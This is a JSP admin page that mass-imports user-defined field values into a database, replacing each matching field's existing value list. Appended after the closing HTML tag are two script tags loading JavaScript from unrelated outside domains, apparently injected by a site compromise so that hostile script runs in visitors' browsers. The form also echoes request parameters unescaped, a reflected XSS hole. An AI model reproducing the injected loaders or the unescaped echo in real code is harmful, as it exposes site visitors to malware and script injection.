<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.dao.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
    String fieldName=request.getParameter("fieldName");
    String codeValueString=request.getParameter("codeValues");
    String[] codeValues=TextUtility.splitString(codeValueString,"\n");
    Connection conn = null;

    PreparedStatement sqlstmt = null;
    ResultSet rs = null;
    if(fieldName!=null){
      try{
      	int udfFieldCount=0;
      	int codeFieldCount=0;
        conn = (Connection)DataSourceFactory.getDataSource().getConnection();
        SysUdfFieldValueDAObject sysUdfFieldValueDAO = new SysUdfFieldValueDAObject(sessionContainer,conn);
      
        sqlstmt = conn.prepareStatement("SELECT ID FROM SYS_USER_DEFINED_INDEX_DETAIL WHERE FIELD_NAME=? AND FIELD_TYPE='SDB' ORDER BY ID");
        sqlstmt.setString(1,fieldName);
        rs = sqlstmt.executeQuery();        
        AbstractSearchForm searchForm = new ListSysUserDefinedIndexForm();
        searchForm.setSortAttribute("");        
        searchForm.setBasicSearchType("=");
        while (rs.next()){
          int detailID = rs.getInt(1);          
          sysUdfFieldValueDAO.deleteFieldListByUDFDetailID(new Integer(detailID));          
          searchForm.setBasicSearchField("USER_DEFINED_FIELD_DETAIL_ID="+detailID+" AND FIELD_VALUE");        
          SysUdfFieldValue fieldValue = new SysUdfFieldValue();
          udfFieldCount++;
          for(int i=0;i<codeValues.length;i++){
            if( codeValues[i]!=null && codeValues[i].trim().length()>0){
              searchForm.setBasicSearchKeyword(codeValues[i].trim());              
              int count = sysUdfFieldValueDAO.getFullList(searchForm).size();
              if(count==0){
                fieldValue.setUserDefinedFieldDetailID(new Integer(detailID));
                fieldValue.setFieldValue(codeValues[i].trim());                        
                fieldValue.setDefaultValue("N");
                sysUdfFieldValueDAO.insertObject(fieldValue);
                codeFieldCount++;
              }else{
                out.println("<br>Found duplicate entry in :"+codeValues[i].trim());
              }
            }
          }          
        }
        conn.commit();
        out.println("<br>Done with "+udfFieldCount+" fields and " + codeFieldCount + " options added");
      }catch(Exception e){
        out.println("<br>Fail to import:"+e.getMessage());
        LogFactory.getLog(this.getClass()).error(e, e);
      }finally{
        conn.close();
      }   
    }    
 %>
 <html>
 <body>
 <form action="MassCreateSysUdfFieldValue.jsp" method="post">
 <table>
 <tr>
   <td>Field name:</td>
   <td><input type="text" name="fieldName" value='<%=(fieldName!=null) ? fieldName: ""%>'><input type="submit"></td>
 </tr> 
 <tr>
   <td valign="top">Codes(separated by line break):</td>
   <td><textarea name="codeValues" cols="70" rows="50"><%=(codeValueString!=null) ? codeValueString : ""%></textarea></td>
 </tr> 
 </table> 
 </form>
 </body>
 </html>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>